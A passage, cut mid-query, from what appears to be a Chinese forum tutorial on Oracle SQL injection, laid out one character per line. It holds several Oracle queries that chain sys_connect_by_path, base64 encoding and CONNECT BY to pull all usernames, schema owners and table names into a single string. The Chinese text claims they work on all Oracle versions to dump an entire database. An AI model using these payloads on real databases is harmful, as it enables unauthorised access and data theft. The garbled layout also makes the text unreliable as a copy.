s
e
r
n
a
m
e
,
'
-
'
)
,
'
-
'
)
,
2
,
4
0
)
)
)
)
,
'
=
'
,
'
-
'
)
,
'
'
,
'
-
'
)
,
'
/
'
,
'
-
'
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
u
s
e
r
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
转
储
数
据
库
,
转
储
表
,
上
面
提
到
的
查
询
很
可
能
适
用
于
所
有
O
r
a
c
l
e
数
据
库
版
本
,
您
可
以
使
用
它
们
来
转
储
整
个
数
据
库
。
所
以
无
论
如
何
,
感
谢
您
阅
读
并
走
到
这
一
步
。
请
通
过
回
复
此
帖
子
分
享
您
的
建
议
、
更
正
或
评
论
。
谢
谢
:
)
阅
读
原
文
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
U
T
L
_
R
A
W
.
C
A
S
T
_
T
O
_
V
A
R
C
H
A
R
2
(
u
t
l
_
e
n
c
o
d
e
.
b
a
s
e
6
4
_
e
n
c
o
d
e
(
u
t
l
_
r
a
w
.
c
a
s
t
_
t
o
_
r
a
w
(
s
u
b
s
t
r
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
u
s
e
r
n
a
m
e
,
'
-
'
)
,
'
-
'
)
,
2
,
4
0
)
)
)
)
,
'
=
'
,
'
-
'
)
,
'
'
,
'
-
'
)
,
'
/
'
,
'
-
'
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
u
s
e
r
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
U
T
L
_
R
A
W
.
C
A
S
T
_
T
O
_
V
A
R
C
H
A
R
2
(
u
t
l
_
e
n
c
o
d
e
.
b
a
s
e
6
4
_
e
n
c
o
d
e
(
u
t
l
_
r
a
w
.
c
a
s
t
_
t
o
_
r
a
w
(
s
u
b
s
t
r
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
o
w
n
e
r
,
'
-
'
)
,
'
-
'
)
,
2
,
4
0
)
)
)
)
,
'
=
'
,
'
-
'
)
,
'
'
,
'
-
'
)
,
'
/
'
,
'
-
'
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
o
w
n
e
r
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
o
w
n
e
r
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
t
a
b
l
e
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
U
T
L
_
R
A
W
.
C
A
S
T
_
T
O
_
V
A
R
C
H
A
R
2
(
u
t
l
_
e
n
c
o
d
e
.
b
a
s
e
6
4
_
e
n
c
o
d
e
(
u
t
l
_
r
a
w
.
c
a
s
t
_
t
o
_
r
a
w
(
s
u
b
s
t
r
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
t
a
b
l
e
_
n
a
m
e
,
'
-
'
)
,
'
-
'
)
,
2
,
4
0
)
)
)
)
,
'
=
'
,
'
-
'
)
,
'
'
,
'
-
'
)
,
'
/
'
,
'
-
'
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
t
a
b
l
e
_
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
t
a
b
l
e
_
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
t
a
b
l
e
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页